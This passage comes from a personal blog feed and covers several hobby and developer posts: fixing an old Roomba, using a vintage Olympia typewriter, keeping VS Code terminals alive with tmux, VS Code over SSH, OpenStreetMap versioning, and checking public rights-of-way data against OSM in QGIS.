&lt;p&gt;Unlike modern robot vacuums, it cannot build a map of its environment, and thus tends to cover some areas multiple times and others not at all. However, it being autonomous means you can just leave it to run, and eventually it will get the job done acceptably or run out of battery. It is quite fun to watch it slowly clean up the grub on your floor.&lt;/p&gt;
&lt;p&gt;In some ways I prefer it being a &lt;em&gt;vintage&lt;/em&gt; device as it doesn&amp;rsquo;t connect to Wi-Fi, or require a suspicious mobile app. You just press a button, or schedule a clean, and away it goes. When it runs low on battery it tries to dock automatically, but as the movement is random, it doesn&amp;rsquo;t always make it home before the battery goes flat.&lt;/p&gt;
&lt;p&gt;When it arrived, it was hilariously bad at vacuuming. It could suck up dust, but anything larger was completely ignored. After a while we figured out that the &amp;ldquo;beater bar&amp;rdquo; under it wasn&amp;rsquo;t spinning at all. Luckily, unlike almost any other consumer electronic device I&amp;rsquo;ve owned, repairing the Roomba was pretty easy. It is made up of a number of modules that can be individually replaced as needed. Even these modules can be trivially opened with a normal Phillips head screwdriver, and repaired yourself if you have the parts.&lt;/p&gt;
&lt;p&gt;In Roomba land, the beater bar is part of the &amp;ldquo;Cleaning Head Module&amp;rdquo;. Nothing seemed to be visibly wrong with it, so I had a look inside the gearbox. Other than managing to strip one of the screws through impatience, it was pretty simple to get in. Once I had it open, the problem became rather obvious.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_38be983d6dabc46f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_8b65f003268b4e51.webp 320w, https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_c8334c353cfee3c9.webp 640w, https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_cc6399c24c608c6b.webp 960w, https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_3f6afb0a1ee38cd7.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_f8b85b3a1516f64f.jpg'
width="4191"
height="3147"
loading="lazy"
alt='A very dirty gearbox'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The gearbox was completely full of dust and hair. I&amp;rsquo;m not sure if this was a result of engineering oversight, or if it is just very difficult to seal a gearbox against 14 years of grime. This reminded me of a great &lt;a href="https://youtu.be/YhwthSaLgh4?t=1714"
target="_blank" rel="noreferrer noopener"
&gt;video by rctestflight&lt;/a&gt;, where he runs a selection of RC cars in circles for literal weeks to see how far they&amp;rsquo;ll go. Some of them eventually failed after the universal joints driving the wheels wore down, and in others the gearboxes wore out, as mud got in and ate away at the gears.&lt;/p&gt;
&lt;p&gt;The Roomba gearbox was broken in a slightly different fashion, as the gear connected to the motor had ended up wearing down so much it was slipping against the metal shaft. Presumably, if the gearbox had been cleaned at some point then it wouldn&amp;rsquo;t have built up such resistance and might still be working. Unfortunately I couldn&amp;rsquo;t replace the gears, as part of the gearbox housing had worn down to the point where there was so much play the gears didn&amp;rsquo;t mesh any more.&lt;/p&gt;
&lt;p&gt;Somewhat surprisingly, &lt;a href="https://www.irobot.co.uk/en_GB/enhanced-cleaning-head-for-roomba-500/600/700/21917.html"
target="_blank" rel="noreferrer noopener"
&gt;iRobot still sells spares&lt;/a&gt; for the Cleaning Head Module that fits this model. Presumably this is due to it being a standardized part used over a number of generations. I bought one to replace my broken one, and other than the £6.50 (!) shipping charge their website worked well.&lt;/p&gt;
&lt;p&gt;Annoyingly, immediately after this new part arrived, the Roomba stopped charging &amp;mdash; complaining of &lt;code&gt;Err5&lt;/code&gt;. I wasn&amp;rsquo;t sure if this was a problem with the charger or the battery, but I ended up replacing the battery with a 3rd party Ni-MH one from Amazon, which seemed to revive it. For these new parts I spent a total of £63.47 (£36.49 for the Cleaning Head and £26.98 for the battery), making the total spend about £120. This is significantly cheaper than the lowest end model iRobot currently sell, the &lt;a href="https://web.archive.org/web/20230117175042/https://www.irobot.co.uk/en_GB/irobot-roomba-692/R692040.html"
target="_blank" rel="noreferrer noopener"
&gt;Roomba® 698, on offer for £199.00&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once I had installed the new parts, its cleaning performance improved dramatically. It can now pick up larger bits of dirt, and even gets fluffs and hairs up from the low pile carpets we have. One feature I am particularly fond of is &amp;ldquo;Dirt Detect&amp;rdquo;, which uses some kind of contact microphone in the Cleaning Head to detect dirty spots. When it finds one, it circles back and gives the area a second pass. It also has a &amp;ldquo;Spot&amp;rdquo; mode, where it cleans in concentric circles if you have a specific area that needs special attention.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_840999912e1c580b.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_e5dabf1df21e6728.webp 320w, https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_15f65de71ffb3672.webp 640w, https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_ba8b94a4afd8033c.webp 960w, https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_d473e13034d3d6df.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_880d1f70b13fda17.jpg'
width="4624"
height="3472"
loading="lazy"
alt='The Roomba docked and charging up'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;I still need to replace the side brush on it. This is what would normally enable it to reach dirt that is close to the walls. For now, I have been manually brushing dirt into the middle of the floor, which you could argue defeats the point of a robot vacuum.&lt;/p&gt;</description></item><item><title>Olympia Traveller de Luxe</title><link>https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/</link><pubDate>Sat, 30 Apr 2022 15:49:05 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/</guid><description>&lt;p&gt;I&amp;rsquo;ve become a bit obsessed with typewriters. This is an Olympia Traveller de Luxe. The term &amp;ldquo;traveler&amp;rdquo; is definitely relative &amp;mdash; it weighs about 5kg, and is quite the pain to carry.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_d57e11383c3da42f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_baba8e58b9b04290.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_551c5299400ded80.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_a99950b8a3d5ebf.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_4a8b110d9b1f90bd.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_89dee8b0c6a2afe2.jpg'
width="1500"
height="997"
alt='Wide angle'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;Even though it is indisputably simpler than a modern laptop, the complexities of it seem more striking. It is packed with tiny linkages that all work in harmony to get the text on the page. Even the ink spools are more complicated than you might think. Each press of a key winds the ribbon a small amount from one spool to the other, and then once one side is exhausted, pressure builds on a pin that causes the mechanism to switch directions &amp;mdash; returning the ribbon to the other spool.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_6b448f2728c930d2.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_2b37133da1310c3e.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_a170583897d3c013.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_443192b5c362f32c.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_2d44f0d0e2c9c586.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_fb0f92a7e53e1a3e.jpg'
width="1500"
height="997"
alt='Top down without case'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can adjust the margins using two sliders behind the paper slot. When you are within about 8 characters of the end of the line a little bell dings, reminding you to return the carriage. It is sometimes a little awkward when you are in the middle of a particularly long word, but you can always -hyphenate anything that will not fit. If you feel like living life on the edge, you can override the margins, letting you fit those last couple of characters in.&lt;/p&gt;
&lt;p&gt;If you have a split color ribbon, you can swap colors using a little switch on the right. Personally I&amp;rsquo;ve never felt the need for anything over than black, but it is a nice option to have.&lt;/p&gt;
&lt;p&gt;Line spacing is configurable; you can pick from the rather cramped 1, the standard 1.5, or the roomy 2. You first return the carriage, then pushing further scrolls the new line in. You can also disable the line spacing, and freely spin the platen wheel to your hearts content. This is very useful for loading the paper into the typewriter.&lt;/p&gt;
&lt;p&gt;Making, or rather fixing mistakes, is quite the pain. The previous owner evidently used liquid correction fluid as the typewriter was liberally decorated with white spots when I first acquired it. Luckily some isopropyl alcohol made short work of removing it (and giving me a headache). I&amp;rsquo;ve had some success using a correction roller (like &lt;a href="https://www.amazon.co.uk/dp/B07FGNVT1R/"
target="_blank" rel="noreferrer noopener"
&gt;these&lt;/a&gt;), but it&amp;rsquo;s a pain to scroll the paper up and down to apply it. It is also very easy to apply too much or too little, as your hand and the applicator cover up what you are trying to correct. A method I&amp;rsquo;ve yet to try is using &lt;a href="https://web.archive.org/web/20190621183803/https://www.etsy.com/uk/listing/193351648/ko-rec-type-old-school-typewriter"
target="_blank" rel="noreferrer noopener"
&gt;correction tabs&lt;/a&gt;, which are little bits of plastic coated with white ink. You use them by backspacing over the offending character, then striking it again through the tab, whiting it out. I&amp;rsquo;ve put far too much thought into this, given I&amp;rsquo;m perfectly happy to just cross out my mistakes and just be mildly infuriated.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_4439cc5ec02dfe55.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_85208ada42c10f3a.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_9f56ddb4725cca8f.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_157481bd8be49515.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_143230a15fac9392.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_f76361df5612775f.jpg'
width="1500"
height="997"
loading="lazy"
alt='View of the hammers'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;One thing that strikes me as particularly ingenious is how the shift works. There are two characters on each striker, with the bottoms being lowercase, and the tops uppercase. Pressing the shift keys physically &amp;ldquo;shifts&amp;rdquo; the carriage up, meaning the top of the hammer strikes the paper. Instead of having a &amp;ldquo;Caps Lock&amp;rdquo; key like we&amp;rsquo;d expect today, you have a &amp;ldquo;Shift Lock&amp;rdquo;, meaning that you can&amp;rsquo;t type any characters from the bottom half of the strikers, like numbers and most punctuation without unlocking the shift first.&lt;/p&gt;
&lt;p&gt;You have to be careful to keep the force that you use to press the keys fairly consistent, as otherwise you get some characters that are light and others that are too bold. There is an adjustable switch under the cover that supposedly lets you adjust the force, but in my experience it seems to make little difference &amp;ndash; you have to press quite hard and sharp whatever position it is in.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_4fee4c69b2f9057a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_5c7ec25668fa2417.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_45767b3b9a9ada61.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_41d4ab9121d25ba6.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_1ac15c44210b768e.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_93900c1841319c2b.jpg'
width="1500"
height="997"
loading="lazy"
alt='Some typed text'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;In addition to removing the blobs of correction fluid, I also had to clean quite a lot of residual dried ink off the hammers. This presumably just builds up over time with usage, and was quite difficult to remove. I had good luck with a couple of cocktail sticks that were just about small enough to get the dirt out the middle of the &amp;ldquo;e&amp;rdquo;. Doing this greatly improved the evenness and overall legibility of the text.&lt;/p&gt;</description></item><item><title>Persistent terminals in VS Code with tmux</title><link>https://george.honeywood.org.uk/blog/vs-code-and-tmux/</link><pubDate>Sat, 12 Mar 2022 21:33:01 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/vs-code-and-tmux/</guid><description>&lt;p&gt;Since I&amp;rsquo;ve started using &lt;a href="https://george.honeywood.org.uk/blog/vs-code-over-ssh/"
&gt;VS Code over SSH&lt;/a&gt;,
I&amp;rsquo;ve encountered the slight irritation that the session will drop when I suspend my laptop.
This is to be expected, as the underlying TCP connection can&amp;rsquo;t survive without regular keepalives.
Restarting the remote session means that I lose the integrated terminals that I have open,
meaning I have to go through and type out &lt;code&gt;yarn dev&lt;/code&gt; or &lt;code&gt;go run&lt;/code&gt; again.
What is particularly annoying is that the previously running programs will continue in the background,
so I have to go and manually kill them before I can work again.&lt;/p&gt;
&lt;p&gt;The standard way to work around these sorts of problems is to use a terminal multiplexer,
such as the venerable &lt;a href="https://www.gnu.org/software/screen/"
target="_blank" rel="noreferrer noopener"
&gt;GNU Screen&lt;/a&gt;,
or the slightly more modern &lt;a href="https://github.com/tmux/tmux"
target="_blank" rel="noreferrer noopener"
&gt;tmux&lt;/a&gt;.
A terminal multiplexer is a program that allows you to open multiple terminals in one window,
and will persist these sessions even if your SSH connection drops.
I&amp;rsquo;ve previously used these for things like running game servers&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;,
and they also work great with VS Code
&amp;ndash; meaning you are able to restart your VS Code session,
and all your terminals will be in the same state.&lt;/p&gt;
&lt;p&gt;You can set up VS Code to use a custom command to open a new terminal window.
Here is what I have in my &lt;code&gt;settings.json&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;terminal.integrated.profiles.linux&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;bash&amp;#34;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;tmux&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;bash&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;args&amp;#34;&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;-c&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;tmux new -ADs ${PWD##*/}&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;icon&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;terminal-tmux&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;terminal.integrated.defaultProfile.linux&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;tmux&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This creates a new terminal profile called &lt;code&gt;tmux&lt;/code&gt;,
and sets it as the default profile &amp;ndash; meaning whenever you open the integrated terminal,
it will run the command specified.
In this case it runs &lt;code&gt;bash&lt;/code&gt;, with the command &lt;code&gt;tmux new -ADs ${PWD##*/}&lt;/code&gt;.
This will create a new tmux session with the name of the current working directory,
or attach to an existing session if one exists.
The &lt;code&gt;-D&lt;/code&gt; flag ensures that only one terminal is connected to a session at a time.
The way that this works for me is that I will then have tmux sessions for each of my workspace folders,
then when needed I will create extra tabs in the tmux sessions.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_1208e3a84b7ef9c0.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_ed4564d006cfd633.webp 320w, https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_d3cc0fb18a67581f.webp 640w, https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_8fc3304b72e021c5.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_f7ef5aa9e8bb50a4.jpg'
width="1188"
height="798"
loading="lazy"
alt='VS Code using tmux'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;There is a bit of jankiness here,
in that instead of just running &lt;code&gt;tmux new -ADs ${workspaceFolderBasename}&lt;/code&gt;,
we have to use a shell parameter expansion.
This is because in a multi-folder workspace,
&lt;a href="https://code.visualstudio.com/docs/editor/variables-reference#_predefined-variables"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;${workspaceFolderBasename}&lt;/code&gt;&lt;/a&gt; doesn&amp;rsquo;t respect the folder I selected to open the terminal in
&amp;ndash; it always uses the folder of the currently open file.
We can emulate what I think &lt;code&gt;${workspaceFolderBasename}&lt;/code&gt; should return using &lt;code&gt;${PWD##*/}&lt;/code&gt;, which produces the basename of the current working directory.
This produces the desired effect of a separate tmux session for each of my workspace folders.&lt;/p&gt;
&lt;p&gt;I still use this setup when I&amp;rsquo;m working in VS Code locally,
as it means I can close it when done for the day,
and then when I reopen it the next day I&amp;rsquo;ll still have all my terminals open.
One amusing side effect of this workflow is that it seems to prevent the OOM killer from closing my terminal sessions,
only striking down VS Code itself.&lt;/p&gt;
&lt;p&gt;You will probably want to configure tmux a little to make it more usable,
like rebinding the prefix to &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;a&lt;/code&gt; (&lt;code&gt;set -g prefix C-a&lt;/code&gt;) and turning on mouse mode (&lt;code&gt;set -g mouse on&lt;/code&gt;).
One thing to watch out for with mouse mode is that it will use tmux&amp;rsquo;s copy paste buffers,
which are still a bit of a mystery to me.
Luckily if you hold shift while selecting text it bypasses tmux&amp;rsquo;s buffers,
so you can &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;c&lt;/code&gt; &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;v&lt;/code&gt; like usual.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Specifically for Minecraft.
You can use a more standard approach like a systemd service,
but Minecraft servers sometimes need to be controlled via their &lt;code&gt;stdin&lt;/code&gt;.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Visual Studio Code over SSH</title><link>https://george.honeywood.org.uk/blog/vs-code-over-ssh/</link><pubDate>Sat, 18 Dec 2021 15:20:00 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/vs-code-over-ssh/</guid><description>&lt;p&gt;I&amp;rsquo;ve recently had an opportunity to do some work away from home. I&amp;rsquo;ve never worked on anything other than my desktop PC before. I do have a decently capable laptop, but it has limited RAM and storage &amp;ndash; and hence it is not really suited to running multiple Node.js servers and various Docker containers; let alone the significant faff to get everything set up on my laptop as it is on my desktop PC.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_f972c5e0304fbd5f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_ee1cf8a8178798f0.webp 320w, https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_d7c3a90b22918bb.webp 640w, https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_2377c04ea8cc3fa6.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_e0aa1535ac5f93f3.jpg'
width="1023"
height="796"
alt='VS Code being used remotely'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;To suit this end, Visual Studio Code has a very nice feature that I&amp;rsquo;ve been appreciating &amp;ndash; you can connect to a remote instance of VS Code running on any machine you can SSH into. All of this happens automatically, just install the &lt;a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh"
target="_blank" rel="noreferrer noopener"
&gt;Remote - SSH&lt;/a&gt; extension, add a target in the &amp;ldquo;Remote Explorer&amp;rdquo;, and it will install an instance of VS Code on the remote machine. As soon as it has downloaded some files, you will be working on your remote machine just as if it were local.&lt;/p&gt;
&lt;p&gt;You can open terminals, and they will be on the remote machine, as you&amp;rsquo;d expect. It even does some &lt;code&gt;stdout&lt;/code&gt; parsing to automatically forward ports to your local machine when you run a server. All of this makes for an impressively seamless experience. The only small bit of jank is that you need to install extensions you already have locally on the remote, but the button to replicate your local set practically remediates this.&lt;/p&gt;
&lt;p&gt;It works on pretty tiny machines. This is being written on a VPS in Italy with a single vCPU and 1GB of RAM. The disk requirements are likewise pretty minimal, only taking up ~360MB, most of which is two (?) Node.js binaries. Writing some markdown and running &lt;code&gt;hugo -D&lt;/code&gt; is something my laptop is capable of, so this is a bit of a pointless use case, but I think the technology is really cool.&lt;/p&gt;</description></item><item><title>Complicated history</title><link>https://george.honeywood.org.uk/blog/complicated-history/</link><pubDate>Sun, 20 Jun 2021 11:41:00 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/complicated-history/</guid><description>&lt;p&gt;I&amp;rsquo;ve been working on a tool that takes an OpenStreetMap history file and creates a database with every version of the way that has existed.
On the surface it looks like you just need to save each of the ways &lt;a href="https://www.openstreetmap.org/way/4527617/history"
target="_blank" rel="noreferrer noopener"
&gt;versions&lt;/a&gt;,
but it is a little more nuanced than this. OSM&amp;rsquo;s data structure doesn&amp;rsquo;t make this very convenient.
Ways get a new version number whenever nodes are added or removed from them
&amp;ndash; but do not if their component nodes change location.
For example if you have a building,
you can move the entire building by moving its existing constituent nodes,
without creating a new version of the way.&lt;/p&gt;
&lt;p&gt;This means that to get all geometries of a way you first have to cache which nodes make up a way in each of its versions,
then check if these nodes get a new version in between each of the ways versions,
so that you can store the ways geometries where just nodes moved.
Ideally for my use case,
the way would be updated whenever one of its nodes moves,
and instead of a way containing a list of references to node ids,
the reference would be to a specific version of that node&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;.
This would make it much simpler to piece together all of the geometries that a way has had,
as you wouldn&amp;rsquo;t have to solve the non trivial problem of figuring out which versions of nodes made up the way at that time.&lt;/p&gt;
&lt;p&gt;Granted for the much more common usecase of just looking at a &lt;em&gt;single&lt;/em&gt; point in OSM history,
it is trivial to generate a snapshot of OSM data
&amp;ndash; you just have to take the latest version of every non-deleted element before your desired time. This can be done nicely using osmium-tool&amp;rsquo;s &lt;code&gt;time-filter&lt;/code&gt; command.&lt;/p&gt;
&lt;h3 id="2022-08-edit"&gt;2022-08 edit&lt;/h3&gt;
&lt;p&gt;So I realised this is actually a bit more complicated than I previously thought.
With relations there is a similar issue to ways
&amp;ndash; you can move or update the underlying members of a relation,
without updating the relation itself.&lt;/p&gt;
&lt;p&gt;For example if a building with a courtyard is represented by a multipolygon relation,
you can change the landuse of the courtyard,
without creating a new version of the relation.
This is because the tags only change on the courtyard way, not the relation itself.
You will get a new relation version if you change the tags on the relation, alter the members, or change the roles of members.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;This would probably have a slightly undesirable side-effect:
big relations (like country boundaries) would get versioned each time they are adjusted, leading to extremely high version numbers.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Measuring PRoW completeness</title><link>https://george.honeywood.org.uk/blog/prow-completeness/</link><pubDate>Wed, 12 May 2021 11:46:43 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/prow-completeness/</guid><description>&lt;p&gt;Recently I stumbled upon on a &lt;a href="https://wiki.openstreetmap.org/wiki/Contributors"
target="_blank" rel="noreferrer noopener"
&gt;page&lt;/a&gt; on the OpenStreetMap wiki which details some of the significant non-volunteer sources for OSM&amp;rsquo;s data (and takes an amusingly long time to load). Near the bottom I discovered that Dorset (my Local Authority) publishes an OGLv3 licensed dataset of public rights of way (PRoWs) within its boundaries, including public footpaths, bridleways, restricted byways, and the rare BOAT (byway open to all traffic). These, somewhat confusingly, do not directly overlap with OpenStreetMap&amp;rsquo;s normal tagging schemes, as a PRoW may be part of a service road, residential road or a cycleway for example. To address this need another &lt;a href="https://wiki.openstreetmap.org/wiki/Access_provisions_in_the_United_Kingdom#Public_Rights_of_Way"
target="_blank" rel="noreferrer noopener"
&gt;wiki page&lt;/a&gt; details a schema for tagging this extra information, using &lt;code&gt;designation=public_${xyz}&lt;/code&gt; and &lt;code&gt;prow_ref=${yzx}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the shapefile in QGIS I found that quite a significant number of the paths had not been added to OSM. I think a large part of the disparity is due to that a significant portion of the rights of way are not in a usable state, or a more convenient permissive route is present. However, I think it is still important to include this data in OpenStreetMap as more paths to explore is always good. When I find one such unusable path, usually by looking at the Strava Heatmap I tend to map the route anyway and then add &lt;code&gt;highway=no&lt;/code&gt; to indicate that the route is impassable. When the chosen route of the public deviates a little from the public footpath I will tend to adjust the official route to the well used one, especially if it is obvious that the definitive version is unusable. If the actual footpath is far away from where it should be I normally draw the actual route seperate from the right of way, tagging both respectively.&lt;/p&gt;
&lt;p&gt;In order to help me determine which PRoWs were missing I used QGIS to analyse the data, with the following methodology (bear in mind I am a complete amateur at GIS):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download the &lt;code&gt;.osm.pbf&lt;/code&gt; file for Dorset from Geofabrik, for comparing it to the PRoW dataset.&lt;/li&gt;
&lt;li&gt;Use &lt;a href="https://osmcode.org/osmium-tool/"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;osmium&lt;/code&gt;&lt;/a&gt; to filter the &lt;code&gt;.pbf&lt;/code&gt; to only include specify highway tags that are likely to support a PRoW, such as &lt;code&gt;highway=footway&lt;/code&gt;, &lt;code&gt;highway=service&lt;/code&gt;, &lt;code&gt;highway=residential&lt;/code&gt; and so on.&lt;/li&gt;
&lt;li&gt;Import the datasets into QGIS, reprojecting into a different CRS if necessary.&lt;/li&gt;
&lt;li&gt;Use the &lt;a href="https://docs.qgis.org/3.16/en/docs/user_manual/processing_algs/qgis/vectorgeometry.html#points-along-geometry"
